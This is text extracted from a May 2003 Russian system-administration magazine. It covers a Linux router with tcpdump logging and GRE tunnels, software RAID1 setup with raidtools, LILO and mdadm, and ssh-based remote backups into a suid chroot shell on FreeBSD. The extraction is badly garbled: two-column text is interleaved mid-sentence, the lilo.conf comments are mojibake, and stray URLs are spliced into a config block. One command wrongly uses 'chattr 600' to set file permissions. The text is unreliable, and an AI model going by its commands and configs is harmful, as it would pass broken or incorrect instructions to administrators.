sniffing
# ip route flush cache трафик, кроме этого, GRE является стандартом де-
факто в маршрутизаторах Cisco, поэтому для органи-
Запускаем собственно сниффер (в фоновом режиме): зации туннеля между Linux-машиной и маршрутиза-
тором Cisco применяйте GRE-туннели.
# tcpdump -i eth0:1 > /var/log/tcpdump.log &
Представим себе организацию туннеля между двумя
При этом необходимо позаботиться о правильной ус- компьютерами и соединяющем две подсети:
тановке прав доступа к файлу дампа, установите правиль-
ную umask или установите атрибуты вручную:

# touch /var/log/tcpdump.log
# chattr 600 /var/log/tcpdump.log

Для повышения безопасности можно также запустить


сниффер через chroot:
Для добавления GRE-туннеля можно воспользовать-
(chroot /var/log tcpdump -i eth0:1) ся следующими: командами на сервере 192.168.1.1:

но обычно это делается в инициализационном скрипте. # ip tunnel add tuna mode gre remote 192.168.2.1 local ↵
192.168.1.1 ttl 255
Есть ещё несколько нюансов в данном примере, а
именно установки сетевых опций ядра. Опции ядра обыч- Эта команда задает GRE-туннель от машины 192.168.1.1
но устанавливаются посредством файловой системы /proc до машины 192.168.2.1, для создания IPV6-туннеля исполь-
занесением необходимых значений в определенные фай- зуется тип sit (mode sit), при этом необходимо вручную до-
лы. Для нас необходимо отключить icmp redirect ответы, бавлять IPV6-адрес туннелю (ip --6 addr add IPv6_addr dev
чтобы наш маршрутизатор не сообщал клиентам о выбо- tunsit). Учтите, что вы можете добавлять туннель с любым
ре необходимого маршрута непосредственно (это лишит именем, состоящим из букв и цифр. Поле ttl является нео-
нас возможности установки меток на пакеты, а кроме того, бязательным, но каждому пакету, проходящему через тун-
понимается далеко не всеми клиентами по умолчанию). нель будет присваиваться заданный ttl.
Для этого делаем следующее: Вторым этапом настройки туннеля является настройка
маршрутизации через этот туннель: включаем виртуаль-
# echo 0 > /proc/sys/net/ipv4/conf/all/send_redirects ный сетевой интерфейс, созданный предыдущей командой:
# echo 0 > /proc/sys/net/ipv4/conf/default/send_redirects
# echo 0 > /proc/sys/net/ipv4/conf/eth0/send_redirects
# ip link set tuna up
Не забывайте также о правильной настройке бранд-
мауэра, а также, если имеется несколько подсетей, жела- теперь необходимо назначить созданному туннелю IP-адрес:
тельно убедиться, что выключена прямая передача паке-
тов из подсети в подсеть (т.е. если пакет направлен в дру- # ip addr add 192.168.1.101 dev tuna
гую подсеть, он не должен передаваться на другой сете-
вой интерфейс без обработки): добавляем маршрут к сети 192.168.2.0/24 через созданный
туннель:
# echo 0 > /proc/sys/net/ipv4/ip_forward
# ip route add 192.168.2.0/24 dev tuna
Единственный серьезный минус приведенной схемы –
возможность подмены IP-адреса. К сожалению, этот недо- Последнее действие можно выполнить и с помощью
статок исправить невозможно, но можно дополнительно старой утилиты route:
отслеживать обращения ко внешней сети. На этом я за-
вершу описание этой «простенькой» задачки для админи- route add -net 192.168.2.0 netmask 255.255.255.0 dev tuna
стратора и перейду к описанию установки IP-туннелей.
Вообще любой сетевой туннель выполняет инкапсу- но синтаксис iproute, на мой взгляд, несколько проще. На
ляцию пакетов (фактически к каждому пакету добавляет- другом конце туннеля (192.168.2.1) проделываем подоб-
ся необходимый заголовок). Туннели позволяют органи- ные действия:

20
администрирование
# ip tunnel add tunb mode gre remote 192.168.1.1 local ↵ номере журнала. Для установки маршрутизатора не тре-
192.168.2.1 ttl 255 буется мощного компьютера, в некоторых случаях дос-
# ip link set tunb up
# ip addr add 192.168.2.101 dev tunb таточно floppy-дистрибутива Linux. Одним из таких дис-
# ip route add 192.168.1.0/24 dev tunb трибутивов является ориентированный на маршрутиза-
После этого туннель начинает функционировать. Уч- цию дистрибутив linuxrouter (www.linuxrouter.org). Он по-
тите также, что к данным, проходящим по туннелю, допи- строен на базе ядра 2.2 и 2.0, что является приемлемым
сывается дополнительный заголовок 20 байт длиной, та- вариантом для построения маршрутизатора (включает
ким образом, MTU для туннеля составляет не 1500, а 1480 iproute2, но, к сожалению, я не нашел в составе дистри-
байт. Для решения этой проблемы несколько модифици- бутива утилиты tc).
руем команду добавления маршрута, указав mtu: Если же в вашей сети несколько маршрутизаторов или
структура сети является непостоянной, то лучшим выбо-
# ip route add 192.168.2.0/24 dev tuna mtu 1480 ром является установка динамического маршрутизатора,
имеющего возможность автоматического обновления
Явное указание mtu – очень полезная вещь во многих маршрутных таблиц. Для любителей маршрутизаторов
случаях, например, при организации VLAN (IEE802.1q) так- Cisco могу посоветовать роутер Zebra, эмулирующий син-
же необходимо уменьшать значение MTU интерфейса. таксис Cisco IOS. Ну вот и все, разговор о пакете IProute
Если планируется организовать туннель с маршрути- будет продолжен в следующем номере. Приведу список
затором CISCO, то его конфигурация может выглядеть полезных ссылок:
следующим образом:
http://www.lartc.org – Linux Advanced Routing and Traffic
interface Tunnel1 Control HOWTO – обязательный документ, помогающий
description IP tunnel
no ip address грамотно настроить маршрутизатор.
no ip directed-broadcast http://www.linuxrouter.org – floppy-дисрибутив GNU/
ip address 192.168.2.101/24
tunnel source Serial0 Linux, ориентированный на маршрутизацию.
tunnel destination 192.168.1.101 http://www.opennet.ru – большая подборка документа-
tunnel mode ipip
ip route 192.168.1.0/24 Tunnel1 ции о маршрутизации.

Итак, подведём итог. Для выполнения статической Брокмайер, Лебланк, Маккарти. «Маршрутизация в
маршрутизации лучше всего подходит iproute2 для GNU/ Linux». Издательский дом «Вильямс», 2002. В книге рас-
Linux. Маршрутизация позволяет выполнять достаточно смотрены общие вопросы маршрутизации и настройки де-
сложные операции по передаче пакетов, при этом воз- мона динамической маршрутизации gated.
можно грамотно установить политику доступа к опреде-
лённым подсетям и узлам сети. Одним из наиболее по- PS: Сейчас ведутся активные споры по наименованию
лезных в практическом плане инструментов оптимиза- Linux. Так как эта операционная система базируется на
ции сетевых операций является управление очередями ПО GNU, то было предложено называть её GNU/Linux,
устройств, но это предмет моей следующей статьи, ко- поэтому далее я буду называть операционную систему
торую вы сможете, скорее всего, найти в следующем GNU/Linux, а ядро – Linux, что соответствует истине.

№5(6), май 2003 21


администрирование

Построение программных RAID-массивов в Linux

ДМИТРИЙ РОЖКОВ
22
администрирование
Вряд ли стоит говорить о том, насколько важным бывает Предположим, что в нашем распоряжении уже имеется
сохранить в рабочем состоянии сервер или рабочую стан- установленная система на диске /dev/sda, на котором есть
цию. И одним из способов повысить надёжность системы только один корневой раздел, тогда нам потребуется сна-
– внести в неё избыточность. чала создать файл /etc/raidtab следующего содержания:
В данной статье речь пойдёт о построении программ-
ных RAID-массивов в Linux, которые, вообще говоря, при- raiddev /dev/md0
raid-level 1
думывались не только для повышения надёжности. Но, как nr-raid-disks 2
правило, именно эту цель преследуют системные админи- chunk-size 64k
persistent-superblock 1
страторы, вставляя в системный блок "лишние" диски. И device /dev/sda1
судя по тому, как расшифровывается RAID (Redundant Array raid-disk 0
failed-disk 0
of Inexpensive Disk), именно об этом думал автор аббреви- device /dev/sdb1
атуры. Поэтому в своей статье я сделаю ударение именно raid-disk 1
на надёжности. Кроме того, я исхожу из предположения,
что читатель уже имеет представление о том, какие разно- Формат этого файла описан в одноимённой man-стра-
видности RAID существуют, и знаком с терминологией, так нице. Но коротко пройдёмся по нему строчка за строчкой.
как эти вопросы уже были очень подробно освещены в ста- Ключевое слово raiddev определяет начало секции, отно-
тье Алексея Серебрякова [1]. сящейся к одному RAID-массиву (/dev/md0). Параметр raid-
Несмотря на то, что данная тема уже очень хорошо level, как можно догадаться, задаёт уровень RAID-масси-
раскрыта во множестве статей и, в частности, в докумен- ва. В нашем случае массив /dev/md0 определён как RAID-1.
те "The Software-RAID HOWTO", который стоит прочитать Допустимыми значениями являются также linear (линей-
всем, кому не безразлична судьба своих данных, почему- ный режим), 0 для RAID-0, 4 для RAID-4 и 5 для RAID-5.
то часто описываемая технология не находит себе при- Параметр nr-raid-disks указывает, сколько дисков входит
менение. Объяснением сему может послужить тот факт, в RAID-массив; chunk-size – размер чанка. Очень важной
что на сегодняшний день автору известен только один ди- является строчка:
стрибутив Linux (видимо, плохо искал, но всё же), в ин-
сталляторе которого присутствует поддержка RAID. Пока persistent-superblock 1
только инсталлятор от RedНat позволяет разместить всю
файловую систему на RAID1-массиве и загрузиться с него. Значение 1 разрешает при создании RAID-массива
Поэтому для того, чтобы мой рассказ был универсальным, средствами raidtools записывать в конец каждого диско-
я хотел бы описать процедуру переноса файловой систе- вого раздела специальный суперблок, в котором хранит-
мы уже установленного сервера с "обычного" диска на ся конфигурация RAID-устройства. Именно благодаря
RAID1-массив, независимую от типа дистрибутива. Сле- наличию этого суперблока при загрузке системы у ядра
дует отметить, что в настоящее время возможно реали- появляется возможность читать конфигурацию RAID-мас-
зовать автоматическую загрузку операционной системы сива непосредственно с диска без необходимости монти-
с RAID-массива только в том случае, если раздел файло- ровать корневую файловую систему, чтобы прочитать со-
вой системы, с которой производится загрузка ОС, раз- держимое файла raidtab. Соответственно значение 0 пре-
мещен на устройстве RAID1. пятствует созданию суперблока.
Итак, прежде всего нам потребуется ядро с включен- Ключевое слово device определяет начало подсекции,
ной в него поддержкой RAID. относящейся к реальному дисковому разделу, входяще-
Убедитесь, что в файле конфигурации ядра присутству- му в массив (/dev/sda1 и /dev/sdb1). В этой секции должен
ют следующие строчки: всегда присутствовать один из следующих параметров:
 raid-disk – определяет индекс раздела в массиве;
CONFIG_MD=y
CONFIG_BLK_DEV_MD=y
 spare-disk – определяет индекс резервного диска;
CONFIG_MD_RAID1=y  parity-disk – принудительно определяет раздел для хра-
нения информации о контроле чётности (данный па-
В принципе не является проблемой включить поддер- раметр применим к RAID-массивам уровней 4 и 5).
жку RAID в модули и загружать эти модули из ram-дис-
ка, но как показал мой опыт, скомпилированный в ядро Кроме того, в нашем случае параметром failed-disk ус-
драйвер md ведет себя несколько иначе, чем в случае тройство /dev/sda1 было помечено как сбойное с индек-
его выноса в отдельный модуль. Например, в последнем сом 0, что должно предотвратить включение в RAID-мас-
случае некорректно обрабатывается ситуация, когда при сив при его создании раздел с работающей ОС (этот па-
поднятии RAID-массива, в котором один из дисков (а раметр применим к RAID-массивам уровней 1, 4 и 5).
именно первый опрашиваемый драйвером на наличие После этого надо убедиться, что в системе присутству-
RAID-суперблока) не имеет RAID-суперблока, то есть при ют файлы устройств /dev/md0, а также /dev/md1,...,/dev/
создании массива был помечен как сбойный, драйвер mdN, если разделов больше одного. Если файлы отсут-
отказывается запускать весь массив в "деградирован- ствуют, их необходимо создать командами:
ном режиме" (degraded mode). Кроме ядра нам потребу-
ются также и raidtools, которые входят в состав практи- # mknod /dev/md0 b 9 0
чески любого дистрибутива. # mknod /dev/md1 b 9 1

№5(6), май 2003 23


администрирование

..... # bmdolink/bcmt/images/images_lg/boom.jpg
# mknod /dev/mdN b 9 N # (â ýòîì ñëó÷àå boot-ñåêòîð çàïèñûâàåòñÿ â MBR)
#  íàøåì æå ñëó÷àå çàãðóçî÷íûì óñòðîéñòâîì ÿâëÿåòñÿ
# RAID-ìàññèâ.
Далее можно приступить уже к поднятию RAID-масси- #
ва. Для этого необходимо изменить тип файловой систе- boot=/dev/md0
мы на 0xFD (Linux raid autodetect) на всех разделах жест- # Îïðåäåëÿåò óñòðîéñòâî, êîòîðîå äîëæíî áûòü ïîäìîíòèðîâàíî
кий дисков, которые планируется включить в массив. Так- # â êà÷åñòâå êîðíåâîé ôàéëîâîé ñèñòåìû. (`/')
#
же надо убедиться, что размеры созданных на диске /dev/ root=/dev/md0
sdb разделов чуть меньше или равны размерам соответ- # Òàê êàê ïðè çàïèñè çàãðóçî÷íîãî áëîêà íà RAID-óñòðîéñòâî
ствующих разделов на диске /dev/sda. И командой: # LILO íèêîãäà íå èçìåíÿåò àâòîìàòè÷åñêè MBR æåñòêîãî äèñêà
# âêëþ÷åííîãî â RAID-ìàññèâ è ïðè ýòîì ïðîíóìåðîâàííûì BIOS'îì
# êàê 0x80 (òî åñòü äèñê îïðåäåë¸í â BIOS êàê çàãðóçî÷íûé),
# mkraid /dev/md0 # åäèíñòâåííûé ñïîñîá çàïèñàòü âñ¸ æå â MBR òàêîãî äèñêà
# boot-ñåêòîð – ýòî ïåðå÷èñëèòü â ïàðàìåòðå raid-extra-boot
# âñå óñòðîéñòâà, êóäà íåîáõîäèìî óñòàíîâèòü boot-ñåêòîð.
наконец запустить RAID-массив. Это устройство нужно от- # Òîãäà â ñëó÷àå âûõîäà èç ñòðîÿ îäíîãî èç äèñêîâ, à èìåííî
форматировать под нужную файловую систему. Файловая # ñ êîòîðîãî ôàêòè÷åñêè çàãðóæàëàñü ÎÑ, çàãðóçêà âñ¸ ðàâíî
# áóäåò ïðîèñõîäèòü ñ äðóãîãî äèñêà, âõîäÿùåãî â RAID-ìàññèâ.
система может быть какой угодно, но нас интересует ext2. #
raid-extra-boot="/dev/sda,/dev/sdb"
# mke2fs /dev/md0 # Òàê êàê òåêóùèé çàãðóçî÷íûé äèñê ïîêà åù¸ íå âõîäèò â
# RAID-ìàññèâ, çàãðóçêà ÎÑ, ðàçìåù¸ííîé íà RAID-ìàññèâå, äîëæíà
# ïðîèçâîäèòüñÿ ñî âòîðîãî äèñêà.
Теперь новое устройство можно подмонтировать к како- # Äëÿ ýòîãî ñîîáùàåì LILO, ÷òî äèñê /dev/sdb áóäåò âûáðàí â
му-нибудь каталогу: # BIOS êàê çàãðóçî÷íûé.
#
disk=/dev/sdb
# mount -t ext2 /dev/md0 /mnt/newroot bios=0x80

# Óñòàíàâëèâàåò óêàçàííûé ôàéë â íîâûé boot-ñåêòîð


и скопировать на него содержимое текущего root-раздела. #
install=/boot/boot.b

# cd / delay=20
# find . -xdev | cpio -pm /mnt/newroot
default=Linux
В том случае, когда исходная файловая система состоит image=/vmlinuz
из нескольких разделов, эту процедуру придется повто- label=Linux
рить и для них, но для этого можно уже воспользоваться read-only
более понятной командой:
Когда необходимые изменения внесены, достаточно
# cp -a /usr /mnt/newroot/usr командой:

После этого требуется изменить два конфигурацион- # chroot /mnt/newroot lilo


ных файла в новой файловой системе: /mnt/newroot/etc/
fstab и /mnt/newroot/etc/lilo.conf. В первом надо заменить установить системный загрузчик. Теперь операционная
все файловые системы, которые планируется перевести система должна загружаться и с RAID-массива. Однако
на RAID-массив, на соответствующие RAID-устройства. В пока в RAID-массив входит только один диск /dev/sdb. Что-
нашем случае старая строчка для корневого раздела: бы загрузиться с него, нужно перезагрузить компьютер и в
BIOS выбрать в качестве загрузочного диска /dev/sdb.
/dev/sda1 / ext2 defaults,errors=remount-ro 0 1 Когда операционная система загрузится, работу RAID-
массива можно проверить, посмотрев содержимое фай-
заменится на что-то вроде: ла /proc/mdstat. Там должно быть что-то похожее на:

/dev/md0 / ext2 defaults,errors=remount-ro 0 1 Personalities : [raid1]


read_ahead 1024 sectors
md0 : active raid1 sdb1[1]
Во втором файле потребуются более существенные 3365504 blocks [1/2] [_U]
изменения: во-первых, надо изменить путь к устройству,
с которого будет производиться загрузка, и путь к уст- Такая запись означает, что пока только один диск вхо-
ройству, которое будет монтироваться как устройство с дит в работающий RAID-массив. Для завершения проце-
корневой файловой системой; во-вторых, необходимо дуры остается только добавить второй диск в массив:
дополнительно указать, на какие устройства надо запи-
сать загрузочную запись. Тогда обновленный lilo.conf при- # raidhotadd /dev/md0 /dev/sda1
обретет следующий вид:
После ввода этой команды начнется процесс зеркали-
# Îïèñûâàåò çàãðóçî÷íîå óñòðîéñòâî, êóäà LILO óñòàíàâëèâàåò рования диска, по окончании которого файл /proc/mdtstat
# boot-ñåêòîð. Ýòî óñòðîéñòâî ìîæåò áûòü ëèáî îáû÷íûì ðàç-
# äåëîì, ëèáî raw-óñòðîéñòâîì http://www.acq.osd.mil/bmdo/ приобретет следующий вид:

24
администрирование
го из дисков невозможно произвести операцию чтения или
Personalities : [raid1]
read_ahead 1024 sectors записи, то такой раздел помечается в RAID-массиве как
md0 : active raid1 sda1[0] sdb1[1] сбойный. И как уже было сказано, системный админист-
3365504 blocks [2/2] [UU]
ратор может быть уведомлен письмом об этом событии.
На этом построение RAID-массива можно считать за- Допустим, произошёл сбой на диске /dev/sda. Тогда всё,
конченным. Но тема вряд ли будет исчерпана, если не что остаётся сделать системному администратору, это:
сказать пару слов о средствах мониторинга. А таким сред-  остановить работу ОС;
ством уже стало принято считать утилиту Нейла Брауна  выключить компьютер;
mdadm (multiple device admin). Применение ее чрезвычай-  заменить сбойный диск на новый;
но просто – достаточно запустить эту программу в режи-  включить компьютер и подождать, пока загрузится ОС;
ме мониторинга и перечислить в командной строке уст-  создать раздел /dev/sda1 с размером, равным или чуть
ройства, состояние которых надо отслеживать. большим, чем размер /dev/sdb1;
 изменить тип файловой системы раздела /dev/sda1 на
# nohup mdadm -F -m admin@mydomain.com /dev/md0 & 0xFD;
 добавить новый раздел в RAID-массив.
В случае какого-либо изменения в состоянии RAID-
массива описание события отправится по адресу # raidhotadd /dev/md0 /dev/sda1
admin@mydomain.com.
Вообще говоря, утилита mdadm предназначена не
только для мониторинга, а скорее задумывалась как за- После этого можно, не дожидаясь окончания процес-
мена raidtools. И всю описанную процедуру построения са зеркалирования диска, устанновить boot-сектор в MBR
массива можно было бы выполнить, используя только диска /dev/sda вводом команды:
mdadm, которая имеет множество преимуществ по срав-
нению с raidtools. Использование этой утилиты полностью # lilo
описано в её man-странице, поэтому в данной статье ог-
раничусь лишь несколькими замечаниями. на случай, если в следующий раз выйдет из строя диск
Во-первых, вся функциональность, которая в raidtools /dev/sdb.
разбросана по нескольким командам (mkraid, raidstart, На этом рассказ о построении RAID-массивов можно
raidstop, raidhotadd и т. д.), в mdadm сосредоточена в од- считать законченным. Но в заключение всё же добавлю,
ной команде и определяется параметрами этой команды. что применение технологии RAID помогает избежать по-
А во-вторых, mdadm не полагается на файл /etc/raidtab. тери данных при выходе из строя дисков, лишь тогда, ког-
Всю необходимую информацию для создания и управле- да контроллер дисков может этот сбой обнаружить. И кро-
ния RAID-массивами mdadm черпает из командной стро- ме того, в случае, когда целостность файловой системы
ки или, дабы не перечислять каждый раз в командной стро- нарушается из-за программного сбоя или внезапного от-
ке, какое устройство к какому массиву относится, из кон- ключения питания, RAID-массив тоже окажется бесполе-
фигурационного файла /etc/mdadm.conf. Впрочем, этот зен. Поэтому никогда не стоит отказываться от такой по-
файл mdadm может опять же создать автоматически пос- лезной вещи, как свежий бэкап.
ле того, как будут созданы все RAID-массивы.
И напоследок, пара слов о восстановлении системы [1] Серебряков А. «Основы систем хранения данных». –
после сбоя. журнал «Системный администратор». – 2003г., №3(4).
Если контроллер жёстких дисков сообщает соответ- с. 62-76.
ствующему драйверу ОС, что на каком-то разделе одно-

№5(6), май 2003 25


администрирование

УДАЛЕННОЕ РЕЗЕРВНОЕ
КОПИРОВАНИЕ

ПРИМЕР РЕАЛИЗАЦИИ В FREEBSD

26
администрирование
Резервное копирование, как правило, предусматривает
наличие некоторого объема «ручной работы». Обычно это
замена съемных носителей. Наличие этого этапа мешает
полностью автоматизировать процесс и тем самым накла-
дывает ограничение на частоту резервного копирования,
а в некоторых случаях и на его регулярность. Выходом из
ситуации может стать создание промежуточных копий на
жестком диске. Это позволит, не снижая частоты резерв-
ного копирования, уменьшить частоту сохранения данных
на съемные носители (а в некоторых случаях и вообще
отказаться от него).
Вместе с тем надежность такого решения практичес-
ки невозможно обеспечить, если жесткий диск подклю-
чен к тому серверу, с которого делается копия, и органи-
зация удаленного резервного копирования становится
необходимостью.
Пример, о котором пойдет речь, несложно реализовать
в любой системе, где есть ssh и tar (последний выбран
произвольно и может быть заменен на cpio, pax или даже
dump). Тем не менее, поскольку некоторые детали реали-
зации будут различны даже для FreeBSD и Linux, пришлось
отказаться от идеи сделать некий универсальный пример,
что привело бы только к излишнему усложнению.
Выбор ssh обусловлен необходимостью обеспечить бе-
зопасность данных при передаче по сети. Тем не менее,
этот выбор сам по себе не освобождает от необходимос-
ти принятия дополнительных мер безопасности как по
отношению к данным, так и по отношению к серверу, слу-
жащему для сохранения резервных копий. Для этого, во-
первых, необходимо правильно устанавливать права на
файлы, во-вторых, все действия должны быть выполне-
ны под пользователями с минимально возможными при-
вилегиями, и, наконец, в качестве дополнительной меры
нелишним будет применить chroot.
Ситуацию с правами на файлы проиллюстрирую на
примере:

# tar -cf etc.tar /etc


# ls -l etc.tar
-rw-r—r— 1 root wheel 1607680 7 ìàð 15:51 etc.tar

Теперь можно сравнить права на архив с правами на


один из файлов, который был туда упакован:
# ls -l /etc/master.passwd
-rw——— 1 root wheel 6370 6 ìàð 18:02 /etc/
master.passwd
Налицо нарушение безопасности. Исправить ситуацию
поможет umask:

# rm etc.tar
# ( umask 077 ; tar -cf etc.tar /etc )
# ls -l etc.tar
-rw——— 1 root wheel 1607680 7 ìàð 16:07 etc.tar
Круглые скобки помогают оставить значение umask в
сеансе пользователя неизменным. При вызове из скрип-
та они, как правило, не нужны.
Второе требование безопасности относится к учетной
записи для входа на удаленный сервер. Поскольку эта
запись используется только для копирования файлов, прав
ДЕНИС ПЕПЛИН пользователя должно быть достаточно, чтобы сохранять
файлы в своем домашнем каталоге. Он не должен вхо-

№5(6), май 2003 27


администрирование
дить в группу wheel. Лучше всего, если он будет входить в примера (назовем его makechroot.sh), нужно выполнять
свою собственную группу, или в группу, созданную спе- из под root на хосте backup, задав в качестве параметра
циально для резервного копирования. имя пользователя backup.
В последующих примерах потребуется различать сер-
вер, с которого производится резервное копирование и #!/bin/sh
сервер, на который сохраняются копии. Назовем первый username=$1
srv, а второй – backup.
Сначала нужно создать учетную запись на backup. if [ "${username}" = "" ]; then
echo "Usage: $_ username"
Вручную (vipw) или же с помощью adduser или pw получа- exit 1
ем следующее: fi
homedir=`pw usershow $username | awk -F: '{print $9}'`
backup$ grep "^backup:" /etc/passwd
backup:*:6554:6554:backup:/home/backup:/bin/sh if [ ! -d ${homedir} ]; then
backup$ grep "^backup:" /etc/group echo "Error: no such dir ${homedir}"
backup:*:6554: exit 1
fi
Идентификаторы пользователя и группы выбраны про-
извольно, и в вашей системе могут быть другими. Задай- cd ${homedir}
mkdir -p bin usr/bin
те пароль – он потребуется для первоначальной настрой- cp -p /bin/sh /bin/cat /bin/sleep bin
ки. После пароль не понадобится, так как для автомати- cp -p /usr/bin/gzip usr/bin
зации процесса резервного копирования авторизация по
паролю должна быть заменена на авторизацию на осно- После подготовки chroot-окружения необходимо опре-
ве ключей. делиться со способом вызова chroot. Наиболее универ-
Для настройки применяется программа ssh-keygen. сальный способ – сделать вызов при запуске оболочки
Она генерирует два ключа: приватный и публичный, ко- пользователя, в этом случае он будет выполнен незави-
торые сохраняются в ~/.ssh/id_rsa и ~/.ssh/id_rsa.pub со- симо от способа входа в систему.
ответственно (если выбраны ключи rsa). Пароль ключа Можно указать в качестве оболочки пользователя про-
оставьте пустым. Публичный ключ скопируйте на сервер грамму, которая выполняет chroot, а затем вызывает обо-
backup в ~backup/.ssh/authorized_keys. лочку. Вот пример такой программы:

#include <stdio.h>
srv# ssh-keygen -t rsa #include <unistd.h>
srv# ssh backup@backup "mkdir -m 700 ~backup/.ssh"
srv# scp ~/.ssh/id_rsa.pub backup@backup:~backup/ ↵ #include <stdlib.h>
#include <errno.h>
.ssh/authorized_keys #include <sys/types.h>

Теперь, если при входе на backup пароль не запраши- #define SHELL "/bin/sh"
вается, беспарольный вход настроен. Пароль для учет- main (int argc, char **argv, char **envp) {
ной записи backup в /etc/master.passwd необходимо за- char *home;
gid_t uid, gid;
менить на *.
Для предотвращения доступа к любым файлам за пре- home = getenv("HOME");
if (chroot(home)) {
делами каталога пользователя необходимо использова- perror("");
ние chroot. Это позволяет довести уровень безопасности exit(1);
}
до приемлемого при беспарольном входе в систему (что
возможно, поскольку пользователь backup не является gid = getgid();
uid = getuid();
суперпользователем и даже не входит в группу wheel). setegid(gid); seteuid(uid);
Поэтому следующий шаг настройки – вызов chroot при
if (execvp(SHELL, argv/*, envp*/)) {
входе пользователя на хост backup. При вызове необхо- perror("");
димо задать каталог, который станет новым корневым }
}
каталогом и выполняемую команду, которая в данном
случае станет новой оболочкой пользователя. Поскольку вызов chroot может выполнять только су-
В chroot-окружении можно разместить всю систему, а перпользователь, программу необходимо устанавливать
можно только необходимый набор файлов. По соображе- с битом suid. После вызова привилегии суперпользовате-
ниям безопасности (наличие файлов suid в chroot-окру- ля больше не нужны: программа устанавливает эффек-
жении крайне нежелательно) и экономии свободного ме- тивные идентификаторы пользователя и группы (euid и
ста предпочтительнее второй вариант. egid) в соответствии реальным, а затем запускает обо-
Самым минимальным набором является /bin/sh, но нам лочку /bin/sh.
понадобятся еще /bin/cat, /bin/sleep и /usr/bin/gzip. Возмож- Вот соответствующий Makefile:
но, не совсем правильный, но вполне работоспособный
вариант – скопировать их из имеющейся системы. При all:
cc -o chrootsh chrootsh.c
последующем обновлении системы придется обновлять install: all
и эти файлы, так что лучше всего создать скрипт, кото- install -m 4555 chrootsh /bin/chrootsh
@if [ -z `grep "/bin/chrootsh" /etc/shells` ] ; \
рый проделает все сам. Скрипт, приведенный в качестве then \

28
администрирование
echo "/bin/chrootsh" >> /etc/shells ; \ опцией –I (она же –T или —files-from). Этот подход несколь-
fi ко упрощает создание архивов в случае, если нет необхо-
clean:
rm chrootsh димости сохранять всю систему целиком.
Вот один из способов применения такого подхода:
Не забудьте сменить оболочку пользователя на /bin/  Установить систему и все необходимые пакеты.
chrootsh. Вся последовательность действий будет такой:  Определиться с меткой времени завершения установ-
ки. Этой меткой может быть один из только что создан-
backup# make install clean ных файлов, или же можно задать ее явно:
backup# ./makechroot.sh backup
backup# pw usermod backup -s /bin/chrootsh
# touch /root/startdate
Теперь можно зайти с хоста srv и убедиться, что все
работает:  Создать список установленных пакетов:
srv# ssh backup@backup # pkg_info > /root/pkg_list
backup$ echo /*
/bin /usr
 Отредактировать список пакетов, убрав из него зави-
Эта команда показала содержимое текущего корне- симости (опционально).
вого каталога. Если вызов chroot прошел успешно, это  Настроить систему и приложения.
каталог ~backup.  Создать список измененных файлов (который будет со-
Процедура резервного копирования некоего каталога стоять в основном из файлов конфигурации):
теперь сводится примерно к следующему:
# find / -newer /root/startdate -print > /root/
srv# tar -cf - /somedir | ssh backup@backup "umask 077; ↵
cat > somedir.tar"
 Отредактировать список, добавив туда необходимые
Опция «f –» указывает tar копировать архив на стан- файлы и каталоги.
дартный выход, который перенаправляется на ssh. На
удаленном сервере sshd запускает сначала umask, а за- Список, полученный таким способом, нужно периоди-
тем cat, на стандартный вход которой и подается архив. чески обновлять (обычно при изменении конфигурации).
Небольшая проблема возникает при использовании оп- Иногда проще добавить целый каталог, чем разбираться
ции tar –z, поскольку при таком способе копирования раз- с отдельными файлами – tar архивирует каталоги цели-
мер архива немного изменяется. Для tar это несуществен- ком и нет смысла добавлять файлы из каталога, если до-
но, а gzip, хотя и распаковывает архив нормально, все же бавлен каталог (cpio ведет себя по-другому). Не забудьте
выдает ошибку. Обойти проблему очень просто: также про опцию –X, она может понадобиться, если по-
требуется исключить отдельные файлы и каталоги.
srv# tar -cf - /somedir | ssh backup@backup "umask 077; ↵ Резервное копирование теперь выполняется так:
cat | gzip > somedir.tgz"

Если в целях экономии трафика при передаче по сети srv# tar -I /root/modfiles -cf - | ssh backup@backup ↵
должно быть использовано сжатие, его можно включить "umask 077; cat | gzip > arcname.tgz"
соответствующей опцией ssh.
Как упоминалось выше, tar можно заменить на любую Теперь, выбрав период резервного копирования, мож-
другую программу резервного копирования. На выбор но добавить запись в crontab.
программы мало влияет тот факт, что копирование про- Фактически создан довольно удобный «sandbox», в ко-
изводится удаленно, ведь все, что нужно – скопировать торый можно сбрасывать все что угодно. Но сброшенный
архив на стандартный выход. туда файл – еще не совсем резервная копия в строгом
Если предполагается сохранять файловую систему смысле этого слова. Резервную копию необходимо обе-
целиком, лучше всего воспользоваться программой dump: зопасить от любых последующих воздействий. Классичес-
она позволяет с помощью флагов nodump исключать ка- кий метод, которым это обычно делается – запись копии
талоги и отдельные файлы из архива (по умолчанию на ленту с последующей ротацией лент и периодическим
эти флаги игнорируются на уровне 0), так что после неко- откладыванием их в архив. Но если у вас есть ленточный
торой подготовительной работы можно научиться созда- накопитель достаточной емкости, совсем необязательно
вать архивы, содержащие только нужные файлы. По не- создавать на диске промежуточные копии. Можно сразу
которым оценкам dump обеспечивает наилучшее каче- указать вместо arcname.tgz имя файла устройства
ство резервного копирования, хотя архивы можно распа- (пользователя backup потребуется включить в группу
ковать только на такой же файловой системе (в то время operator), а cat заменить на dd:
как архивы tar может распаковать даже Winzip).
Другой подход, на который ориентирована в первую srv# tar -I /root/modfiles -cf - | ssh backup@backup ↵
"dd of=/dev/sa0 obs=20b"
очередь cpio и с которым может работать tar – упаковка
только необходимых файлов. Список файлов для cpio Если же ленточного накопителя нет, в качестве смен-
подается ей на стандартный вход, а для tar включается ного носителя можно выбрать компакт-диски. Они дале-

№5(6), май 2003 29


администрирование
ко не так удобны как ленты, хотя их и можно использо- хосте backup выполняются из-под root. И если в первом
вать напрямую почти так же как последние, лишь сменив случае это зачастую необходимость, то во втором можно
dd на burncd (для ATA CD-RW): создать второго пользователя, входящего в ту же группу,
что и пользователь backup и копировать файлы с его пра-
srv# tar -I /root/modfiles -cf - | ssh backup@backup ↵ вами. Значение umask при удаленном копировании по-
"burncd data - fixate"
требуется изменить на 007, а при переносе копии оставить
Неудобства, связанные с использованием последнего неизменным. Группа backup должна использоваться толь-
способа, вызванные главным образом малым объемом ко для резервного копирования и ни для чего больше по
компакт-дисков, мешают эффективно применять этот соображениям безопасности. Еще один вариант – создать
метод. Во всяком случае, накладываются существенные пользователя с тем же uid, что и у backup, но с другой обо-
ограничения на частоту резервного копирования и на лочкой и выполнять перенос копий с его правами. В зави-
объем сохраняемой информации. симости от настроек системы этот вариант может как улуч-
Но то, что сервер, с которого делается резервная ко- шить, так и ухудшить безопасность копий.
